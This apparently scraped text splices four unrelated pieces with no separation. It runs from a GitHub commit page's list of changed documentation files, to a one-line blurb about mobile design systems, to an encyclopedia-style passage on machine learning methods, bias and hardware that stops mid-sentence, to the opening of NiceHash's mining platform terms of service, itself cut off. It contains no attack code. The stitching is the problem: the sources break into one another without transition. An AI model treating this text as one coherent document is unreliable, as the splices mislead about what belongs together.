27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About

A comprehensive collection of the best resources around mobile design systems. This repository includes guides, design patterns, architectural principles, and case studies to help developers create high-quality mobile applications.

An ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so

NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE PLEASE READ THESE NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE (“Terms”) CAREFULLY BEFORE USING THE THE PLATFORM OR SERVICES DESCRIBED HEREIN. BY SELECTING “I AGREE”, ACCESSING THE PLATFORM, USING NICEHASH MINING SERVICES OR DOWNLOADING OR USING NICEHASH MINING SOFTWARE, YOU ARE ACKNOWLEDGING THAT YOU HAVE READ THESE TERMS, AS AMENDED FROM TIME TO TIME, AND YOU ARE AGREEING TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, OR ANY SUBSEQUENT AMENDMENTS, CHANGES OR UPDATES, DO NOT ACCESS THE PLATFORM, USE NICEHASH MINING SERVICES OR USE THE NICEHASH MINING SOFTWARE. GENERAL These Terms apply to users of the NiceHash Platform (“Platform” and NiceHash Mining Services (“Services”) which are provided to you by NICEHASH Ltd, company organized and existing under the laws of the British Virgin Islands, with registered address at Intershore Chambers, Road Town, Tortola, British Virgin Islands, registration number: 2048669, hereinafter referred to as “NiceHash, as well as “we” or “us”. ELIGIBILITY By using the NiceHash platform and NiceHash Mining Services, you represent and warrant that you: are at least Minimum Age and have capacity to form a binding contract; 
 have not previously been suspended or removed from the NiceHash Platform;
 have full power and authority to enter into this agreement and in doing so will not violate any other agreement to which you are a party;
 are not not furthering, performing, undertaking, engaging in, aiding, or abetting any unlawful activity through your relationship with us, through your use of NiceHash Platform or use of NiceHash Mining Services;
 will not use NiceHash Platform or NiceHash Mining Services if any applicable laws in your country prohibit you from doing so in accordance with these Terms.
 We reserve the right to terminate your access to the NiceHash Platform and Mining Services for any reason and in our sole and absolute discretion. Use of NiceHash Platform and Mining Services is void where prohibited by applicable law. Depending on your country of residence or incorporation or registered office, you may not be able to use all the functions of the NiceHash Platform or services provided therein. It is your responsibility to follow the rules and laws in your country of residence and/or country from which you access the NiceHash Platform. DEFINITIONS NiceHash Platform means a website located on the following web address: www.nicehash.com. NiceHash Mining Services mean all services provided by NiceHash, namely the provision of the NiceHash Platform, NiceHash Hashing power marketplace, NiceHash API, NiceHash OS, NiceHash Mining Software including licence for NiceHash Miner, NiceHash Private Endpoint, NiceHash Account, NiceHash mobile apps, and all other software products, applications and services associated with these products, except for the provision of NiceHash Exchange Services. NiceHash Exchange Service means a service which allows trading of digital assets in the form of digital tokens or cryptographic currency for our users by offering them a trading venue, helping them find a trading counterparty and providing the means for transaction execution. NiceHash Exchange Services are provided by NICEX Ltd and accessible at the NiceHash Platform under NiceHash Exchange Terms of Service. Hashing power marketplace means an infrastructure provided by the NiceHash which enables the Hashing power providers to point their rigs towards NiceHash stratum servers where Hashing power provided by different Hashing power providers is gathered and sold as generic Hashing power to the Hashing power buyers. Hashing power buyer means a legal entity or individual who buys the gathered and generic hashing power on the Hashing power marketplace from undefined Hashing power providers. Hashing power provider means a legal entity or individual who sells his hashing power on the Hashing power marketplace to undefined Hashing power buyers. NiceHash Mining Software means NiceHash Miner and any other software available via the NiceHash Platform. NiceHash Miner means a comprehensive software with graphical user interface and web interface, owned by NiceHash. NiceHash Miner is a process manager software which enables the Hashing power providers to point their rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash Miner also means any and all of its code, compilations, updates, upgrades, modifications, error corrections, patches and bug fixes and similar. NiceHash Miner does not mean third party software compatible with NiceHash Miner (Third Party Plugins and Miners). NiceHash QuickMiner means a software accessible at https://www.nicehash.com/quick-miner which enables Hashing power providers to point their PCs or rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash QuickMiner is intended as a tryout tool. Hashing power rig means all hardware which produces hashing power that represents computation power which is required to calculate the hash function of different type of cryptocurrency. Secondary account is an account managed by third party from which the Account holder deposits funds to his NiceHash Wallet or/and to which the Account holder withdraws funds from his NiceHash Wallet. Stratum is a lightweight mining protocol: https://slushpool.com/help/manual/stratum-protocol. NiceHash Account means an online account available on the NiceHash Platform and created by completing the registration procedure on the NiceHash Platform. Account holder means an individual or legal entity who completes the registration procedure and successfully creates the NiceHash Account. Minimum Age means 18 years old or older, if in order for NiceHash to lawfully provide the Services to you without parental consent (including using your personal data). NiceHash Wallet means a wallet created automatically for the Account holder and provided by the NiceHash Wallet provider. NiceHash does not hold funds on behalf of the Account holder but only transfers Account holder’s requests regarding the NiceHash Wallet transaction to the NiceHash Wallet provider who executes the requested transactions. In this respect NiceHash only processes and performs administrative services related to the payments regarding the NiceHash Mining Services and NiceHash Exchange Services, if applicable. NiceHash Wallet provider is a third party which on the behalf of the Account holder provides and manages the NiceHash Wallet, holds, stores and transfers funds and hosts NiceHash Wallet. For more information about the NiceHash Wallet provider, see the following website: https://www.bitgo.com/. Blockchain network is a distributed database that is used to maintain a continuously growing list of records, called blocks. Force Majeure Event means any governmental or relevant regulatory regulations, acts of God, war, riot, civil commotion, fire, flood, or any disaster or an industrial dispute of workers unrelated to you or NiceHash. Any act, event, omission, happening or non-happening will only be considered Force Majeure if it is not attributable to the wilful act, neglect or failure to take reasonable precautions of the affected party, its agents, employees, consultants, contractors and sub-contractors. SALE AND PURCHASE OF HASHING POWER Hashing power providers agree to sell and NiceHash agrees to proceed Hashing power buyers’ payments for the provided hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle get-paid-per-valid-share (pay as you go principle) Hashing power providers will be paid only for validated and accepted hashing power to their NiceHash Wallet or other wallet, as indicated in Account holder’s profile settings or in stratum connection username. In some cases, no Hashing power is sent to Hashing power buyers or is accepted by NiceHash Services, even if Hashing power is generated on the Hashing power rigs. These cases include usage of slower hardware as well as software, hardware or network errors. In these cases, Hashing power providers are not paid for such Hashing power. Hashing power buyers agree to purchase and NiceHash agrees to process the order and forward the purchased hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle pay-per-valid-share (pay as you go principle) Hashing power buyers will pay from their NiceHash Wallet only for the hashing power that was validated by our engine. When connection to the mining pool which is selected on the Hashing power order is lost or when an order is cancelled during its lifetime, Hashing power buyer pays for additional 10 seconds worth of hashing power. Hashing power order is charged for extra hashing power when mining pool which is selected on the Hashing power order, generates rapid mining work changes and/or rapid mining job switching. All payments including any fees will be processed in crypto currency and NiceHash does not provide an option to sale and purchase of the hashing power in fiat currency. RISK DISCLOSURE If you choose to use NiceHash Platform, Services and NiceHash Wallet, it is important that you remain aware of the risks involved, that you have adequate technical resources and knowledge to bear such risks and that you monitor your transactions carefully. General risk You understand that NiceHash Platform and Services, blockchain technology, Bitcoin, all other cryptocurrencies and cryptotokens, proof of work concept and other associated and related technologies are new and untested and outside of NiceHash’s control. You acknowledge that there are major risks associated with these technologies. In addition to the risks disclosed below, there are risks that NiceHash cannot foresee and it is unreasonable to believe that such risk could have been foreseeable. The performance of NiceHash’s obligation under these Terms will terminate if market or technology circumstances change to such an extent that (i) these Terms clearly no longer comply with NiceHash’s expectations, (ii) it would be unjust to enforce NiceHash’s obligations in the general opinion or (iii) NiceHash’s obligation becomes impossible. NiceHash Account abuse You acknowledge that there is risk associated with the NiceHash Account abuse and that you have been fully informed and warned about it. The funds stored in the NiceHash Wallet may be disposed by third party in case the third party obtains the Account holder’s login credentials. The Account holder shall protect his login credentials and his electronic devices where the login credentials are stored against unauthorized access. Regulatory risks You acknowledge that there is risk associated with future legislation which may restrict, limit or prohibit certain aspects of blockchain technology which may also result in restriction, limitation or prohibition of NiceHash Services and that you have been fully informed and warned about it. Risk of hacking You acknowledge that there is risk associated with hacking NiceHash Services and NiceHash Wallet and that you have been fully informed and warned about it. Hacker or other groups or organizations may attempt to interfere with NiceHash Services or NiceHash Wallet in any way, including without limitation denial of services attacks, Sybil attacks, spoofing, smurfing, malware attacks, mining attacks or consensus-based attacks. Cryptocurrency risk You acknowledge that there is risk associated with the cryptocurrencies which are used as payment method and that you have been fully informed and warned about it. Cryptocurrencies are prone to, but not limited to, value volatility, transaction costs and times uncertainty, lack of liquidity, availability, regulatory restrictions, policy changes and security risks. NiceHash Wallet risk You acknowledge that there is risk associated with funds held on the NiceHash Wallet and that you have been fully informed and warned about it. You acknowledge that NiceHash Wallet is provided by NiceHash Wallet provider and not NiceHash. You acknowledge and agree that NiceHash shall not be responsible for any NiceHash Wallet provider’s services, including their accuracy, completeness, timeliness, validity, copyright compliance, legality, decency, quality or any other aspect thereof. NiceHash does not assume and shall not have any liability or responsibility to you or any other person or entity for any Hash Wallet provider’s services. Hash Wallet provider’s services and links thereto are provided solely as a convenience to you and you access and use them entirely at your own risk and subject to NiceHash Wallet provider’s terms and conditions. Since the NiceHash Wallet is a cryptocurrency wallet all funds held on it are entirely uninsured in contrast to the funds held on the bank account or other financial institutions which are insured. Connection risk You acknowledge that there are risks associated with usage of NiceHash Services which are provided through the internet including, but not limited to, the failure of hardware, software, configuration and internet connections and that you have been fully informed and warned about it. You acknowledge that NiceHash will not be responsible for any configuration, 